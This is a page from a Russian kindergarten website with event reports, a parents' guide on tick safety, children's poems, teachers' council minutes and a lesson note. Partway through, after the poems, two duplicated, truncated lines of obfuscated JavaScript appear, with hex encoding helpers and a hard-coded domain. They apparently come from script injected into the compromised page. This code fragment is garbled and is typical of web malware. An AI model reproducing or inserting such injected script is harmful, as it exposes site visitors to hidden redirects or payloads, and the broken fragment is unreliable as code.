Рубрика: Жизнь ДОУ

Сценарий утренника «Здравствуй, весна!» для средней группы                           1

Под музыку дети заходят в зал

Ведущий:

Зажурчал ручей в овражке,

Прилетели с юга пташки,

Греет солнышко с утра –

В гости к нам пришла весна!

«Весенняя полька»

Читать далее

Консультация для родителей

Клещи: все, что нужно знать о клещах

У каждого из нас появляется желание вырваться за пределы поселка, притронуться к просыпающейся весенней природе, насладиться теплыми летним солнцем. Однако прогулка в лес весной или ранним летом может быть сопряжена не только с положительными эмоциями, но и с опасностью быть укушенным клещом и заразиться болезнью клещевой энцефалит.

Как правило, клещи имеют обыкновение жить в сухостое. То есть сухая трава, высушенные ветви кустарников и деревьев — их излюбленная среда обитания. Однако не намного хуже клещи чувствуют себя и на сочной, пышущей здоровьем растительности. К примеру, в смешанном лесу велика вероятность встретиться с этими паразитами на лиственных деревьях. Поэтому при прогулке по лесу или на лугу не стоит пренебрегать мерами безопасности.

Какие меры безопасности следует соблюдать?

1. В лес стоит отправляться, позаботившись, прежде всего, о защите ног. Самой практичной одеждой для этого будут являться спортивные штаны из гладкой материи, которые рекомендуется заправить в носки.
2. При выборе обуви, более предпочтительными будут резиновые сапоги. Клещ, который попробует Вас атаковать в высокой траве, просто не сможет удержаться на резиновой поверхности.
3. Голову так же стоит прикрыть панамой или платком, убрав при этом все волосы под головной убор.
4. Прогуливаясь по лесу, не увлекайтесь лазаньем по густорастущим кустарникам (орешника, малины, ольхи и прочим). Именно в них чаще всего можно повстречаться с клещами. Также не стоит срывать ветки с деревьев и кустов. Так Вы попросту сможете струсить с растения на себя эти паразитов.
5. После возвращения домой в обязательном порядке следует с ног до головы осмотреть свое тело и вытрусить одежду. Даже если у Вас короткие волосы, не помешает их вычесать мелкой расческой.
6. Клещей, которых Вы найдете еще не впившихся в кожу, следует сжечь. Другие методы их уничтожения малоэффективны.

Читать далее

К районному конкурсу «Музыкальная шкатулка» готовились воспитатели, родители и конечно участники конкурса.    Для выступления в номинации хореография сшили костюмы. Танцевальная группа «Росиночка» исполнила хоровод «Россия» и заняла почётное третье место. Хореографы группы  Бурма Е.В. и Тарасова Т.А. Замечательно исполнила соло Таисия Сенюкович. Руководитель Урюпина Н.А. Вокальная группа «Веснушки» исполнили песню «Край родной». Подготовила группу Бабенко Е.А.  В номинации «Выразительное чтение» Лиза Уткина прочитала стихотворение «Мой посёлок» и заняла 2 место. Руководитель Лишавская Л.И. Хочется пожелать нашим маленьким талантам творческих успехов!

 

 

 

 

 

Воспитатель: Л.И. Лишавская.

Месяц апрель для нашего детского сада был очень плодотворным. Три районных мероприятия: семинар «Проектная деятельность»,  детский конкурс «Музыкальная шкатулка», и КВН среди организаций района «Охрана труда в шутку и всерьёз». Коллектив очень активно готовился ко всем районным мероприятиям. Были заняты все воспитатели,  младшие воспитатели, техперсонал. Ведь недаром говорится воспитатель актёр, певец, танцор, лингвист. Замечательная команда «Динамит» и девиз » Мы не можем без движенья, мы всегда под напряженьем. Если садик наш гремит, знать взорвался динамит». Вполне подходили нашему коллективу и команде. Все играли творчески, как настоящие артисты. Спели песню о своей работе Бурма Е.В., Бабенко Е.А., Ситникова И.В., Атуева О.В., Митюхина Н.А., Жданова Р.Ф. представляя визитную карточку команды. Капитан команды Тарасова Т.А. прекрасно спраилась с ролью прокурора, Шумкова Е.В. с ролью представителя Санэпиднадзора, Пичугина Е.А. с ролью представителя МЧС. Ситникова И.В. мастерски сыграла роль воспитателя плохо знающего требования охраны труда. Создавая неприятные ситуации для заведующего детским садом роль которого сыграла Л.И.Лишавская. Домашнее задание под названием «Утренник в детском саду» был залом восприныт на бисс! Исполняя роль Сережи, Бурма Е.В. взорвала зал. Роль детей исполняли Пичугина Е.А, Атуева О.В, Гаврилова М.В, роль музыкального руководителя играла Урюпина Н.А. Всему коллективу очень понравилось играть в КВН с такими замечательными соперниками. Было получено много позитивных эмоций. И не зря старались. Первое место!!! 

и.о. заведующего Л.И. Лишавская

Ваш ребенок любит играть в кораблики? Нет ничего проще — научите малыша делать бумажный оригами кораблик. Только взрослые думают, что бумага растворяется в воде. Для малыша бумажный кораблик — самое прочное, легкое и яркое судно. А если их много и они сделаны руками ребенка — это верный признак того, что ваш юный капитан построит целый флот.

 Для изготовления оригами кораблика потребуется: плотная бумага или тонкий картон, краски или фломастеры, таз или любая емкость с водой. Из бумаги по схеме сложите с малышом кораблик, предложите ребенку придумать для судна флаг, выбрать название корабля, если нужно соорудить капитана (можно вырезать из бумаги или нарисовать). Отправьте кораблик или целую построенную флотилию в плавание.

Удачного вам плавания и творческих успехов!

 

Воспитатель:

А.А.Пронина

 

Весёлое и зажигательное развлечение для дошколят проводили весёлые клоуны Чупс и Чупсик роли которых исполнили воспитатель Жданова Раиса Фёдоровна и музыкальный руководитель Урюпина Нина Анатольевна.

Клоуны весело шутили, пели. танцевали и играли с ребятами. С восторгом и любопытством ждали волшебства от клоунов. Им удалось удивить детей и сюрприз удался все ребята получили сладкое угощенье. Хороший эмоциональный заряд получили не только воспитанники, но и воспитатели.

и.о. старшего воспитателя Лишавская Л.И.

 

В дошкольном возрасте важно учить детей воспринимать и оценивать поэтическое произведение, воспитывать художественный вкус. Воспринимая поэтические образы, дети получают эстетическое наслаждение. Стихи действуют на ребенка силой и обаянием ритма, мелодики; детей привлекает к себе мир звуков.

В  детском саду № 1 особое место занимает работа, направленная на воспитание у детей любви к поэзии, развитие умений воспринимать и выразительно воспроизводить стихи. Для юных любителей поэзии был организован конкурс художественного чтения «Весеннее настроение». В конкурсе приняли участие воспитанники 3 до 7 лет. Первыми выступили чтецы младшего возраста. Малыши читали очень эмоционально и трепетно. Первое место жюри присудило Артёму Червоткину за стихотворение «Весна пришла», второе – Дюбочкиной Лиде, третье  место заняла Настя Кузнецова. За младшими своё умение выразительного чтения показали старшие воспитанники. Первое место за стихотворение В.Федорченко «Весенний вальс» заслуженно получила Софья Черных, второе – Полина Софья, третье место —  Вика Храмцова. Всем участникам конкурса были вручены грамоты, дипломы и памятные подарки.

И.о. старшего воспитателя Лишавская Л.И.

 

ГРУЗОВИК Нет, напрасно мы решили Прокатить кота в машине: Кот кататься не привык — Опрокинул грузовик.   ВОТ ТАК ЗАЩИТНИК!   Я свою сестренку Лиду Никому не дам в обиду! Я живу с ней очень дружно, Очень я ее люблю.   А когда мне будет нужно, Я и сам ее побью.   УТИ-УТИ   Рано, рано утречком Вышла мама-уточка Поучить утят.   Уж она их учит, учит! Вы плывите, ути-ути, Плавно, в ряд.   Хоть сыночек не велик, Не велик, Мама трусить не велит, Не велит.   — Плыви, плыви, Утёныш, Не бойся, Не утонешь.

ЧУДЕСА   Чудеса! — сказала Люба.- Шуба длинная была, В сундуке лежала шуба, Стала шуба мне мала.   ЛЯГУШАТА   Пять зелёных лягушат В воду броситься спешат — Испугались цапли! А меня они смешат: Я же этой цапли Не боюсь ни капли!   СМЕШНОЙ ЦВЕТОК   Смешной цветок поставлен в вазу! Его не полили ни разу, Ему не нужно влаги, Он сделан из бумаги.   А почему такой он важный? А потому, что он бумажный!

 

Воспитатель 8 группы Гаврилова М.В.

 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

«Игра – ведущий вид деятельности дошкольника».

С этим положением никто не спорит. Но как это реализуется в современной практике?

27 января  2016 года прошло заседание педагогического совета по теме: «Развитие игровой деятельности в условиях реализации Федеральных государственных образовательных стандартов».
Цель: повысить значимость игры в воспитательно-образовательном процессе ДОУ, как основного вида деятельности детей.

Повестка  педсовета:

1.Современная практика организации игровой деятельности.

Анализ анкетирования педагогов.

Отв.Г.Н.Коваленко

2.Игровые технологии в детском саду.

Отв.Л.И.Лишавская

3.Особенности игры в раннем возрасте.

Отв. Е.В.Шумкова

4.Технология сюжетно-ролевых игр в старшей группе.

Отв.И.В.Ситникова

5.Обобщение опыта работы: по теме: «Формирование речи детей в игровой деятельности».

Отв.А.А.Пронина

6.Обобщение опыта работы: по теме: «Театрализованная игра, как средство развития речи детей».

Отв.Р.Ф.Жданова

7.Игра: «Поле чудес»

Отв.Е.В.Бурма

Решение педсовета:

1)     Вводить игры и игровые приемы разнообразного содержания во все режимные моменты, что должно быть отражено в рабочих планах. Уделить особое внимание организации и проведению подвижных игр на прогулке.

2)      В целях совершенствования условий для организации сюжетно — ролевых игр в группах пополнить развивающую среду атрибуты для игр в соответствии с возрастом.

3)      Систематически планировать и проводить сюжетно — ролевые игры в соответствии с программными требованиями.

4)      Информировать родителей о значимости сюжетно-ролевой игры в жизни ребёнка, вовлекать родителей в организацию игровой деятельности детей.

Подготовить консультацию для родителей о значении сюжетных игр для детей дошкольного возраста.

 

 

27 января  в  старшей группе  №3 прошла непрерывная непосредственно образовательная деятельность  «Русская печь», образовательная область:  «Социально-коммуникативное развитие». Патриотическое воспитание.

Программное содержание занятия: воспитывать интерес к народному быту, формировать образную речь, употреблять в разговорной речи пословицы,  поговорки; обогащать словарь названиями предметов быта: самовар, ухват, кочерга, печь устьице, чугунок,  сарафан, лапти, прялка;  развивать речевую активность детей, поощрять стремление рассуждать, высказывать свое мнение, делать умозаключения, развивать логическое мышление. 

 

Воспитатель:

Т.А.Тарасова